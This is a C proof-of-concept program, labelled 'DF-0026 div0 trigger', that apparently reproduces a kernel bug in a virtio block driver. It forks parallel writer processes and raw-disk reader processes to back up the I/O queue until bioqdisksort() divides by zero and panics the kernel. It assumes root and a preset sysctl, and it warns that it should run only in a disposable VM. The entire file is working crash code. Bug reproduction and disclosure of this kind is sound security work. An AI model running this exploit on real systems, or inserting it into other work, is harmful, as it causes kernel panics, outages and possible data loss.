/*
 * DF-0026 div0 trigger (aggressive).
 *
 * Strategy: flood the vtblk virtqueue with parallel WRITE bios (via many
 * processes writing large files in small blocks + explicit sync), while
 * simultaneously issuing READ bios against the raw disk. When the write
 * queue backs up into vtblk_bioq (bioq->transition != NULL) and a READ
 * arrives, bioqdisksort() hits `reorder % 0` -> #DE -> panic.
 *
 * Requires: kern.bioq_reorder_minor_interval already set to 0 (by caller).
 * Must be run as root (for raw disk access + already-set sysctl).
 *
 * WARNING: panics the kernel. Disposable VM only.
 */
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>

#define NWRITERS   16
#define NREADERS    8
#define FILEBLKS  2000   /* 2k * 4k = 8MB per writer file */
#define BLKSIZE    4096

static volatile sig_atomic_t go = 0;
static void setgo(int sig) { go = 1; }

static void writer(int idx)
{
	char path[128];
	char buf[BLKSIZE];
	int fd, i;

	memset(buf, idx & 0xff, sizeof(buf));
	snprintf(path, sizeof(path), "/root/poc/w%d.bin", idx);
	fd = open(path, O_RDWR | O_CREAT | O_TRUNC | O_SYNC, 0644);
	if (fd < 0) { perror("open writer"); _exit(1); }
	/* spin until coordinator says go */
	while (!go) { }
	for (i = 0; i < FILEBLKS; i++) {
		if (write(fd, buf, sizeof(buf)) != sizeof(buf)) {
			/* if we panic the kernel, writes will fail; that's fine */
			break;
		}
		/* periodically fsync to push dirty buffers to device ASAP */
		if ((i & 0x3f) == 0) fsync(fd);
	}
	close(fd);
	_exit(0);
}

static void reader(int idx)
{
	char buf[BLKSIZE];
	int fd, i;

	/* raw disk reads bypass buf cache -> direct READ bios to vtblk */
	fd = open("/dev/vbd0", O_RDONLY);
	if (fd < 0) { perror("open vbd0"); _exit(1); }
	while (!go) { }
	for (i = 0; i < 20000; i++) {
		/* small random-ish reads scattered across the disk */
		off_t off = ((off_t)(i * 7919 + idx * 104729) % (30L*1024*1024*1024 / BLKSIZE)) * BLKSIZE;
		if (pread(fd, buf, sizeof(buf), off) != sizeof(buf)) {
			break; /* kernel panic will kill us */
		}
	}
	close(fd);
	_exit(0);
}

int main(void)
{
	int i, status;
	pid_t pids[64];
	int npids = 0;

	signal(SIGUSR1, setgo);

	printf("[*] spawning %d writers + %d readers\n", NWRITERS, NREADERS);
	for (i = 0; i < NWRITERS; i++) {
		pid_t p = fork();
		if (p == 0) writer(i);
		if (p > 0) pids[npids++] = p;
	}
	for (i = 0; i < NREADERS; i++) {
		pid_t p = fork();
		if (p == 0) reader(i);
		if (p > 0) pids[npids++] = p;
	}

	/* give children time to open fds and reach the spin barrier */
	usleep(200000);
	printf("[*] releasing flood (sysctl=%d)\n", 0);
	/* broadcast go */
	for (i = 0; i < npids; i++) kill(pids[i], SIGUSR1);

	/* also do a sync to push writes */
	sync();

	/* wait (if the kernel panics we never get here) */
	for (i = 0; i < npids; i++) wait(&status);
	printf("[*] all children exited (no panic observed)\n");
	return 0;
}
